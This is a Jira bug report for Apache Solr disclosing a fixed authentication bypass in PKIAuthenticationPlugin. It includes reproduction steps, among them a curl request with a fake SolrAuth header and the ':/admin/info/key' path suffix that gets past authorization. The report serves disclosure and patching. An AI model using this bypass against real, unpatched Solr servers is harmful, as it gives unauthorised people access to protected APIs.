Uploaded image for project: 'Solr'
  1. Solr
  2. SOLR-17417

Authentication bypass possible using a fake :/admin/info/key URL Path ending

    XMLWordPrintableJSON

Details

    • Bug
    • Status: Closed
    • Blocker
    • Resolution: Fixed
    • None
    • 8.11.3, 9.7
    • Authorization
    • None

    Description

      By using ":/admin/info/key" at the end of the URL, the PKIAuthenticationPlugin can be bypassed, so that non-authorized users can access protected APIs.

      Reproduction:

      1. Start Solr
      2. ./zkcli.sh -zkhost localhost:9983 -cmd put /security.json '{"authentication":{"class":"solr.BasicAuthPlugin","credentials":{"solr":"IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0= Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c=","authorization":{"class":"solr.RuleBasedAuthorizationPlugin","permissions":[ {"name":"security-edit","role":"admin"}

        ],"user-role":{"solr":"admin"}}}'}}

      3. curl -H "SolrAuth: XXXXX" http://127.0.0.1:8983/solr/admin/info/properties:/admin/info/key

      The request should fail, but it will succeed.

      Attachments

        1. SOLR-17417.patch
          2 kB
          Houston Putman

        Activity

          People

            houston Houston Putman
            houston Houston Putman
            Votes:
            0 Vote for this issue
            Watchers:
            5 Start watching this issue

            Dates

              Created:
              Updated:
              Resolved: